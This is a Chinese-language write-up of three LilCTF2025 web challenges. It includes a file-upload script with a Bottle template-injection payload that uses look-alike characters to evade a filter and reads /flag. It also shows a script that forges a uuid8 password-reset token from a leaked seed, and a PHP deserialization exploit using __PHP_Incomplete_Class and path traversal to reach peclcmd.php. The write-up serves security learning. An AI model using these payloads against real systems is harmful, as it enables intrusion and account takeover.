【Web】LilCTF2025 WP(随便看看
做了玩玩,看看感兴趣的题
目录
ez_bottle
Ekko_note
Your Uns3r
ez_bottle
bottle框架可以用%作为模板标识符
记一次bottle框架的渲染标识符挖掘
一些函数里的关键字可以用斜体去绕
Bottle框架的ssti、内存马、污染深入浅出
GPT写个脚本上传下恶意zip
import requests
import osdef upload_zip_file(zip_file_path, upload_url):"""上传 ZIP 文件到指定的路由Args:zip_file_path (str): 要上传的 ZIP 文件路径upload_url (str): 上传路由的 URL,例如 http://localhost:8080/upload"""# 检查文件是否存在if not os.path.exists(zip_file_path):print(f"错误: 文件 {zip_file_path} 不存在")return# 检查文件是否为 ZIP 文件if not zip_file_path.lower().endswith('.zip'):print("错误: 请提供 ZIP 文件")return# 准备文件数据files = {'file': (os.path.basename(zip_file_path),open(zip_file_path, 'rb'),'application/zip')}try:# 发送 POST 请求response = requests.post(upload_url, files=files)# 输出响应结果print(f"状态码: {response.status_code}")print(f"响应内容: {response.text}")except requests.exceptions.RequestException as e:print(f"请求错误: {e}")finally:# 确保文件被关闭if 'files' in locals():files['file'][1].close()if __name__ == "__main__":# 配置参数ZIP_FILE_PATH = "1.zip" # 替换为你的 ZIP 文件路径UPLOAD_URL = "http://gz.imxbt.cn:20227/upload" # 替换为你的上传 URL# 执行上传upload_zip_file(ZIP_FILE_PATH, UPLOAD_URL)
zip内容
% import ºs
% flag=ºs.pºpen('cat /flag | tee static/flag.txt').read()
先访问/view/4a5fb584fc0311b2aa5d789fb852cd90/1.txt触发os,无回显
再访问static/flag.txt拿到flag
Ekko_note
看到拉蒙特徐写了一个关于uuid的博客
聊聊python中的UUID安全 - LamentXU - 博客园
用的是uuid8
uuid8用了random
而random的种子为SERVER_START_TIME
访问/server_info可以拿到SERVER_START_TIME
用伪造的 token 来重置密码登录 admin 用户
import random
import uuid
from datetime import datetimeSERVER_START_TIME = 1757141086.5803905
print(SERVER_START_TIME)def padding(input_string):byte_string = input_string.encode('utf-8')if len(byte_string) > 6: byte_string = byte_string[:6]padded_byte_string = byte_string.ljust(6, b'\x00')padded_int = int.from_bytes(padded_byte_string, byteorder='big')return padded_int
random.seed(SERVER_START_TIME)
token = str(uuid.uuid8(a=padding('admin')))
print(token)
然后改time_api,再rce,后面的不想看了。。。
Your Uns3r
代码比较短
最后的抛出异常用异常结构来绕,删掉最后一个}
定位到终点,include一个文件
文件路径是拼接出来的,可以目录穿越
serialize(unserialize($x)) !== $x;用__PHP_Incomplete_Class来绕
PHP 反序列化漏洞:__PHP_Incomplete_Class 与 serialize(unserialize($x)) !== $x;_php unserialize 内存溢出-CSDN博客
exp:
<?phpclass Access
{protected $prefix = '/usr/local/lib/';protected $suffix = '/../php/peclcmd.php';
}class User
{public $username;public $value;
}$user = new User();
$token = new Access();
$user->username = true;
$ser = serialize($token);
$ser = str_replace('O:6:"Access":2', 'O:22:"__PHP_Incomplete_Class":3', $ser);$ser = substr($ser, 0, -1);
$ser .= 's:27:"__PHP_Incomplete_Class_Name";s:6:"Access";}';
$user->value = $ser;
$userser = serialize($user);// 修改这里 - 使用 rtrim() 删除最后一个字符
$fin = rtrim($userser, '}');echo urlencode($fin) . "\n";
最后要求RCE,考虑pearcmd包含,但被ban了,这里可以打peclcmd(功能等价